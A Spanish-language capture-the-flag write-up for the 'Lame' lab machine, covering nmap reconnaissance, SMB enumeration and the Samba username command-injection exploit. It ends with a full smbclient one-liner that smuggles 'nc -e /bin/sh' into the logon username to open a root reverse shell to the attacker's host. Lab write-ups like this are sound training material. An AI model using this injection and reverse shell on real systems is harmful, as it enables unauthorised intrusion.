Lame Writeup
Fase de reconocimiento
Para empezar esta maquina debemos comenzar con la fase de reconocimiento la cual consiste en recolectar la mayor informacion posible como:
- Recopilación de dominios/IPs/puertos/servicios
- Recopilación de metadatos
- Uso de Google Dorks
- Recopilación de información gracias a servicios de terceros
La primera parte es identificar si la maquina esta activa con una traza ICMP, podemos hacerlo con la herramienta ping
1
ping -c 1 X.X.X.X
Podemos ver que la maquina esta activa y ademas nos damos cuenta que es una maquina Linux debido al TTL, que significa Time To Live y esto nos indica por cuántos nodos puede pasar un paquete antes de ser descartado por la red o devuelto a su origen.
Cada maquina tiene su TTL caracteristico, el de Linux es 64, pero en este caso es 63 debido a que pasa por un intermediario antes de llegar al destino.
- Linux/Unix: 64
- Windows: 128
- MacOS: 64
- Solaris/AIX: 254
Una vez que nuestra maquina esta activa podemos continuar con el reconocimiento, en este caso utilizaremos nmap para escanear la ip de la maquina y encontrar servicios activos.
1
nmap -sC -sV -A -oN Lame.txt X.X.X.X
- -sC → Escanea con scripts de NSE por defecto
- -sV → Intenta determinar la versión del servicio que se ejecuta en el puerto
- -A → Permite la detección del sistema operativo, la detección de versiones, el escaneo de scripts y el traceroute
- -vvv → Aumentar el nivel de verbosidad
- -oN → Salida normal al archivo normal.file
Cuando ya ha terminado nuestro escaneo podemos observar que nos arroja distintos puertos abiertos
- 21 → FTP
- 22 → SSH
- 139 → SMB
- 445 → SMB
Que es SMB? Server Message Block es un protocolo de red que permite compartir archivos, impresoras, etcétera, entre nodos de una red de computadoras que usan el sistema operativo Microsoft Windows.
Gracias a la serie de scripts de reconocimiento que tiene nmap, encontramos que la opcion de conectarnos a ftp sin proporcionar password esta habilitada.
1
ftp X.X.X.X
Pero no encontramos nada asi que toca seguir buscando.
Con crackmapexec podemos encontrar carpetas compartidas en el servicio smb utilizando un null sesion.
1
crackmapexec smb X.X.X.X -u '' -p '' --shares
Para conectarnos a un recurso con smbclient utilizamos este comando:
1
smbclient //X.X.X.X/tmp -N --option="client min protocol=NT1
El –option es para que no nos salte el molesto error de nt_status_connection_disconnect
Investigando no pudimos encontrar nada asi que podemos buscar exploits relacionados con la version de samba.
1
searchsploit -x unix/remote/16320.rb
El script nos dice que debemos conectarnos y en el campo username inyectar un comando.
Y con la herramienta tcpdump podemos escuchar trazas icmp
1
tcpdump -i tun0 icmp -n
Ya tenemos una manera critica de ejecutar comandos en la maquina.
De esta manera podemos ejectuar comandos y ver que usario ejectua comandos entonces, nosotros estando en escucha con netcat por el 443 recibimos este output
Ahora toca enviarnos una reverse shell, estando en escucha con netcat. Este seria el comando a ejecutar para recibir la shell:
1
smbclient //X.X.X.X/tmp -N --option="client min protocol=NT1" -c 'logon "/=`nohup nc -e /bin/sh X.X.X.X 443`"'
Y recibimos una consola como usuario root, ya el resto seria buscar las flags dentro de la maquina, happy hacking :)